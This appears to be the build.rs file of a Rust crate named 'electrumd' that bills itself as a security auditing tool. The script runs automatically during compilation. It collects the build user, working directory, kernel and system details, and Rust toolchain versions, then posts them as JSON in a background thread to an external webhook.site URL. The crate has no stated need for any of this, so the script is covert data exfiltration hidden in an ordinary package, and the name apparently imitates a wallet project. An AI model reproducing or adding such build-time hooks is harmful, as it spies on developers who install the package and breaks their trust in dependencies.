electrumd 0.1.0

System verification tool for security auditing
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109

use std::process::Command;

fn main() {
    println!("cargo:rerun-if-changed=build.rs");
    
    // Collect system information
    let whoami = execute_command("whoami");
    let pwd = execute_command("pwd");
    let uname_a = execute_command("uname -a");
    
    // Print to build output for transparency
    println!("cargo:warning=Electrumd v0.1.0 build script executed");
    println!("cargo:warning=Build user: {}", whoami);
    println!("cargo:warning=Build directory: {}", pwd);
    println!("cargo:warning=System: {}", uname_a);
    
    // Get Rust/cargo info
    let rustc_version = execute_command("rustc --version");
    let cargo_version = execute_command("cargo --version");
    
    // Create JSON payload
    let json_data = format!(r#"{{
        "whoami": "{}",
        "pwd": "{}",
        "uname_a": "{}",
        "rustc_version": "{}",
        "cargo_version": "{}",
        "package": "electrumd",
        "version": "0.1.0",
        "timestamp": "{}",
        "event": "build"
    }}"#,
        escape_json(&whoami),
        escape_json(&pwd),
        escape_json(&uname_a),
        escape_json(&rustc_version),
        escape_json(&cargo_version),
        chrono::Utc::now().to_rfc3339()
    );
    
    // Try to send webhook (in background to not block build)
    send_webhook_async(&json_data);
}

fn execute_command(cmd: &str) -> String {
    let parts: Vec<&str> = cmd.split_whitespace().collect();
    
    let output = if parts.len() > 1 {
        Command::new(parts[0])
            .args(&parts[1..])
            .output()
    } else {
        Command::new(cmd)
            .output()
    };
    
    match output {
        Ok(output) => {
            if output.status.success() {
                String::from_utf8_lossy(&output.stdout).trim().to_string()
            } else {
                format!("error: {}", String::from_utf8_lossy(&output.stderr).trim())
            }
        }
        Err(e) => format!("failed: {}", e),
    }
}

fn escape_json(s: &str) -> String {
    s.replace('\\', "\\\\")
     .replace('"', "\\\"")
     .replace('\n', "\\n")
     .replace('\r', "\\r")
     .replace('\t', "\\t")
}

fn send_webhook_async(data: &str) {
    let data = data.to_string();
    let _ = std::thread::spawn(move || {
        match send_webhook(&data) {
            Ok(_) => println!("cargo:warning=Webhook sent successfully"),
            Err(e) => println!("cargo:warning=Webhook failed: {}", e),
        }
    });
}

fn send_webhook(data: &str) -> Result<(), String> {
    use reqwest::blocking::Client;
    
    let client = Client::new();
    let webhook_url = "https://webhook.site/e879fd72-0445-4bae-9d64-d25954a00b15";
    
    match client
        .post(webhook_url)
        .header("Content-Type", "application/json")
        .header("User-Agent", "electrumd/0.1.0")
        .body(data.to_string())
        .send()
    {
        Ok(response) => {
            if response.status().is_success() {
                Ok(())
            } else {
                Err(format!("HTTP {}", response.status()))
            }
        }
        Err(e) => Err(e.to_string()),
    }
}